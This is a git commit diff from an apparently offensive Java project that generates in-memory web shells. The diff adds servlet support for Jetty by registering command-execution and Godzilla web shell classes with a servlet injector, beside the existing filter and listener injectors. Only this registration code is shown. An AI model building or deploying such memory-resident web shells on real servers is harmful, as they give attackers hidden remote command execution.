feat: support jetty servlet (#2)

This commit is contained in:
ReaJason
2024-12-21 00:42:53 +08:00
parent 0e5b8efdeb
commit aa7ecb1587
10 changed files with 307 additions and 0 deletions
@@ -5,8 +5,11 @@ import com.reajason.javaweb.memshell.jetty.command.CommandListener;
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
@@ -28,6 +31,8 @@ public class JettyShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
@@ -38,6 +43,8 @@ public class JettyShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),